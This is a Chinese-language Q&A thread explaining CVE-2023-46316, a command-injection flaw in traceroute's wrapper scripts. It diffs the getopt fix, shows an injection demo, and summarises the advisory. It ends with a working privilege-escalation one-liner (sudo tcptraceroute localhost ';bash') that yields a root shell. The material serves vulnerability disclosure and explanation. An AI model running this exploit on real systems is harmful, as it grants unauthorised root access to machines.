traceroute 的“CVE-2023-46316”到底是什么?

traceroute 的“CVE-2023-46316”到底是什么?

正如 CVE-2023-46316 中所描述的:在 buc Traceroute 2.0.12 到 2.1.2 之前的版本中,包装器脚本无法正确解析命令行。

我想知道攻击者是如何入侵系统的?有人能给我解释一下吗?谢谢

答案1

在我看来,这是一个合理的问题,因为我已经在网上搜索了几个小时,想知道之前到底会发生什么。CVE-2023-46316修复了这个问题,它是怎么发生的,修复的具体方法是什么,但我什么也没找到……所以我研究了来源特别是在traceroute-2.1.3/wrappers/和其他旧版本中包含的包装器脚本traceroute-2.1.1/wrappers/(提取压缩的下载档案后)...据我所知,唯一的区别就在这其中的一行:

PARSED=`getopt 'adnruvAMOPQU$w:S:m:p:q:g:t:s:I:f:T:' "$@"`

更改为:

PARSED=`getopt -- 'adnruvAMOPQU$w:S:m:p:q:g:t:s:I:f:T:' "$@"`

...即添加--这一行是有意义的,因为在该行之后存在这一行:

eval set -- "$PARSED"

在修复之前,我们先用一个缩短的示例演示来简化一下:

$ PARSED=`getopt 'n:' "-n 127.0.0.1; echo command injected"`
$
$ eval set -- "$PARSED"
command injected --
$
$ echo "$PARSED"
 -n  127.0.0.1; echo command injected --
$
$ echo "$@"
127.0.0.1

...如您所见,命令注入成功并被echo command injected执行。

修复后:

$ PARSED=`getopt -- 'n:' "-n 127.0.0.1; echo command injected"`
$
$ eval set -- "$PARSED"
$
$ echo "$PARSED"
 -n ' 127.0.0.1; echo command injected' --
$
$ echo "$@"
 127.0.0.1; echo command injected --

...并且命令注入不再起作用,并且命令行选项得到更好的解析。

答案2

在 Traceroute 2.0.12 到 2.1.2(已在 2.1.3 中修复)中,包装器脚本错误处理了 shell 元字符,如果通过 sudo 执行包装器脚本,则会导致权限提升。受影响的包装器脚本包括:tcptraceroutetracepath和。traceprototraceroute-nanog

附加信息:CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - 7.3(高)

在以下人员提供的包装器脚本中发现了本地特权提升:Linux 版 Traceroute 软件包。包装器脚本没有正确过滤用户的输入,这些输入将作为参数传递到 traceroute 命令中。用户可以将分号 ( ;) 注入受影响包装器的任何参数中,包装器会将分号后面的文本视为新的操作系统命令。

这些脚本要求用户具有原始套接字访问权限才能按预期运行。低权限用户通常会被授予 sudo root 权限来运行包装器脚本,而不是将cap_net_raw功能设置为二进制文件,或通过使用“icmp dgram”套接字。因此,本地计算机上的任何用户都可以将其权限升级为 root,唯一的攻击要求(CVSS 4 中的 AT)是他们具有 sudo root 权限来执行易受攻击的包装器脚本。

自 2.0.12 版本开始提供易受攻击的包装器脚本。Debian 12、Fedora 38、Centos 8 和 Amazon Linux 2 等发行版在默认安装中包含这些包装器脚本。

开发:

sudo tcptraceroute localhost ";bash"

你将获得你的 ROOT shell

相关内容